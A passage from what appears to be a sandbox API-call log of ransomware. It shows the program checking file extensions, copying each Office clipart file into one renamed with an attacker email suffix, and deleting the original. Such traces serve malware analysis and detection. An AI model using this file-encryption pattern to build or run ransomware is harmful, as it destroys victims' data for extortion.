Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString=".doc") returned 4 [0294.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString=".docx") returned 5 [0294.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.370] lstrlenW (lpString=".pdf") returned 4 [0294.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString=".xls") returned 4 [0294.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.370] lstrlenW (lpString=".xlsx") returned 5 [0294.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.370] lstrlenW (lpString=".ppt") returned 4 [0294.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.370] lstrlenW (lpString=".zip") returned 4 [0294.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.370] lstrlenW (lpString=".rar") returned 4 [0294.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.371] lstrlenW (lpString=".bz2") returned 4 [0294.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.371] lstrlenW (lpString=".7z") returned 3 [0294.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.371] lstrlenW (lpString=".dbf") returned 4 [0294.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.371] lstrlenW (lpString=".1cd") returned 4 [0294.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68 [0294.371] lstrlenW (lpString=".jpg") returned 4 [0294.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.371] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.371] lstrlenW (lpString="DD00705_.WMF") returned 12 [0294.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.372] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=24588) returned 1 [0294.372] CloseHandle (hObject=0x10a8) returned 1 [0294.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220 [0294.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.372] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.372] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0294.373] GetLastError () returned 0x0 [0294.373] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x600c, lpOverlapped=0x0) returned 1 [0294.626] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x6010, lpOverlapped=0x0) returned 1 [0294.628] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.628] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.628] SetEndOfFile (hFile=0x1098) returned 1 [0294.628] CloseHandle (hObject=0x1098) returned 1 [0294.628] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.628] SetEndOfFile (hFile=0x10a8) returned 1 [0294.629] CloseHandle (hObject=0x10a8) returned 1 [0294.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0294.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.629] lstrlenW (lpString=".doc") returned 4 [0294.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.629] lstrlenW (lpString=".docx") returned 5 [0294.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.630] lstrlenW (lpString=".pdf") returned 4 [0294.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString=".xls") returned 4 [0294.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.630] lstrlenW (lpString=".xlsx") returned 5 [0294.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.630] lstrlenW (lpString=".ppt") returned 4 [0294.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString=".zip") returned 4 [0294.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.630] lstrlenW (lpString=".rar") returned 4 [0294.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString=".bz2") returned 4 [0294.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString=".7z") returned 3 [0294.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString=".dbf") returned 4 [0294.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString=".1cd") returned 4 [0294.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString=".jpg") returned 4 [0294.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.630] lstrlenW (lpString=".doc") returned 4 [0294.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString=".docx") returned 5 [0294.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.631] lstrlenW (lpString=".pdf") returned 4 [0294.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString=".xls") returned 4 [0294.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.631] lstrlenW (lpString=".xlsx") returned 5 [0294.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.631] lstrlenW (lpString=".ppt") returned 4 [0294.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.631] lstrlenW (lpString=".zip") returned 4 [0294.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.631] lstrlenW (lpString=".rar") returned 4 [0294.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString=".bz2") returned 4 [0294.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString=".7z") returned 3 [0294.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.631] lstrlenW (lpString=".dbf") returned 4 [0294.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.631] lstrlenW (lpString=".1cd") returned 4 [0294.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68 [0294.632] lstrlenW (lpString=".jpg") returned 4 [0294.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.632] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.632] lstrlenW (lpString="DD01140_.WMF") returned 12 [0294.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.632] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3616) returned 1 [0294.632] CloseHandle (hObject=0x10a8) returned 1 [0294.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0294.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.633] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.633] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0294.633] GetLastError () returned 0x0 [0294.633] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xe20, lpOverlapped=0x0) returned 1 [0294.745] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xe30, lpOverlapped=0x0) returned 1 [0294.746] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.746] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0294.746] SetEndOfFile (hFile=0x1098) returned 1 [0294.746] CloseHandle (hObject=0x1098) returned 1 [0294.746] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.746] SetEndOfFile (hFile=0x10a8) returned 1 [0294.749] CloseHandle (hObject=0x10a8) returned 1 [0294.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0294.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0294.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.749] lstrlenW (lpString=".doc") returned 4 [0294.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.749] lstrlenW (lpString=".docx") returned 5 [0294.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.750] lstrlenW (lpString=".pdf") returned 4 [0294.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString=".xls") returned 4 [0294.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.750] lstrlenW (lpString=".xlsx") returned 5 [0294.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.750] lstrlenW (lpString=".ppt") returned 4 [0294.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString=".zip") returned 4 [0294.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.750] lstrlenW (lpString=".rar") returned 4 [0294.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString=".bz2") returned 4 [0294.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString=".7z") returned 3 [0294.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString=".dbf") returned 4 [0294.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString=".1cd") returned 4 [0294.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString=".jpg") returned 4 [0294.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.750] lstrlenW (lpString=".doc") returned 4 [0294.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString=".docx") returned 5 [0294.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.750] lstrlenW (lpString=".pdf") returned 4 [0294.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.750] lstrlenW (lpString=".xls") returned 4 [0294.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.751] lstrlenW (lpString=".xlsx") returned 5 [0294.751] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.751] lstrlenW (lpString=".ppt") returned 4 [0294.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.751] lstrlenW (lpString=".zip") returned 4 [0294.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.751] lstrlenW (lpString=".rar") returned 4 [0294.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.751] lstrlenW (lpString=".bz2") returned 4 [0294.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.751] lstrlenW (lpString=".7z") returned 3 [0294.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.751] lstrlenW (lpString=".dbf") returned 4 [0294.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.751] lstrlenW (lpString=".1cd") returned 4 [0294.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0294.751] lstrlenW (lpString=".jpg") returned 4 [0294.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.751] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0294.752] lstrlenW (lpString="DD01145_.WMF") returned 12 [0294.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.752] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2780) returned 1 [0294.752] CloseHandle (hObject=0x10a8) returned 1 [0294.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0294.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0294.752] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.752] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0294.753] GetLastError () returned 0x0 [0294.753] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xadc, lpOverlapped=0x0) returned 1 [0295.168] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xae0, lpOverlapped=0x0) returned 1 [0295.169] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.169] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.169] SetEndOfFile (hFile=0x1098) returned 1 [0295.169] CloseHandle (hObject=0x1098) returned 1 [0295.169] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.169] SetEndOfFile (hFile=0x10a8) returned 1 [0295.170] CloseHandle (hObject=0x10a8) returned 1 [0295.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0295.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.170] lstrlenW (lpString=".doc") returned 4 [0295.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.170] lstrlenW (lpString=".docx") returned 5 [0295.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.170] lstrlenW (lpString=".pdf") returned 4 [0295.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString=".xls") returned 4 [0295.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.171] lstrlenW (lpString=".xlsx") returned 5 [0295.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.171] lstrlenW (lpString=".ppt") returned 4 [0295.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString=".zip") returned 4 [0295.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.171] lstrlenW (lpString=".rar") returned 4 [0295.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString=".bz2") returned 4 [0295.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString=".7z") returned 3 [0295.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString=".dbf") returned 4 [0295.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString=".1cd") returned 4 [0295.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString=".jpg") returned 4 [0295.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.171] lstrlenW (lpString=".doc") returned 4 [0295.171] lstrcmpiW 